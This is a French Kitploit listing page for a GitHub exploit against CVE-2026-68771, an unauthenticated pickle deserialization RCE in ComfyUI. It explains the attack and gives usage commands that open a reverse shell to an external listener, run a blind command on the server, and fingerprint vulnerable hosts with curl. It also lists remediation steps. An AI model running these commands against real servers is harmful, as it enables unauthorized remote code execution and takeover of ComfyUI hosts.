Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/0xdak/cve-2026-68771_exploit
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHub0xdak/cve-2026-68771_exploit

CVE-2026-68771_exploit

Exploit non authentifié pour CVE-2026-68771, une RCE par désérialisation pickle dans ComfyUI. Place un shard malveillant via /upload/image, le déclenche via /prompt, et exécute des commandes ou ouvre un reverse shell.

Voir le dépôt
1il y a 17 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-68771 — RCE par désérialisation Pickle non authentifiée dans ComfyUI

Exécution de code à distance non authentifiée dans ComfyUI via le nœud LoadTrainingDataset.

LoadTrainingDataset.execute() charge les fragments de jeu de données depuis le répertoire de sortie du serveur avec torch.load(f) et sans weights_only=True. Sur PyTorch < 2.6 (où weights_only vaut False par défaut), un shard_*.pkl forgé exécute son __reduce__ pickle au chargement (CWE-502). ComfyUI est fourni sans authentification, et la route /upload/image (avec type=output) écrit les octets bruts téléversés sans vérification d'extension, de sorte qu'un fichier .pkl peut être déposé puis déclenché en deux requêtes non authentifiées.

  • Affecté : ComfyUI 0.23.0 sur PyTorch < 2.6
  • Port par défaut : 8188 (non authentifié)
  • CWE : 502 (Désérialisation de données non fiables)
  • Impact : RCE en tant qu'utilisateur du processus ComfyUI (souvent root)

Prérequis

Uniquement la bibliothèque standard de Python 3 — aucune dépendance.

Utilisation

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444

# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'

La commande s'exécute sur le serveur ; sa sortie n'est pas renvoyée, utilisez donc --shell pour un shell inversé (ou écrivez dans un chemin accessible en lecture) pour observer le résultat.

Comment ça marche

Deux requêtes non authentifiées :

  1. Déposer — POST /upload/image avec type=output, subfolder=training_dataset, nom de fichier shard_0000.pkl. La route /upload/image écrit les octets bruts (aucun traitement d'image sur ce chemin), si bien que le pickle est déposé tel quel dans output/training_dataset/shard_0000.pkl. Le __reduce__ du pickle renvoie (os.system, (cmd,)).

  2. Déclencher — POST /prompt avec un workflow : un nœud LoadTrainingDataset (folder_name=training_dataset) relié à un nœud de sortie SaveLatent. Le nœud de sortie force ComfyUI à exécuter LoadTrainingDataset, qui recherche les fichiers et appelle :

Identifier une cible

root@kitploit:~
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200  -> vulnerable node present

Remédiation

  • Correctif en amont : charger les fragments avec torch.load(f, weights_only=True).
  • Mettez à niveau PyTorch vers >= 2.6, où weights_only vaut True par défaut et le unpickler restreint rejette os.system.
  • N'exposez jamais ComfyUI à des réseaux non fiables et ne l'exécutez pas en tant qu'utilisateur privilégié.

Avis de non-responsabilité

Uniquement pour des tests de sécurité autorisés et à des fins pédagogiques. Utilisez-le uniquement contre des systèmes qui vous appartiennent ou pour lesquels vous avez une autorisation explicite de test.

Télécharger l’outil
shard_*.pkl
root@kitploit:~
with open(shard_path, "rb") as f:
    shard_data = torch.load(f)      # no weights_only=True -> runs the pickle on torch < 2.6

Le __reduce__ du pickle exécute os.system(cmd) pendant la désérialisation.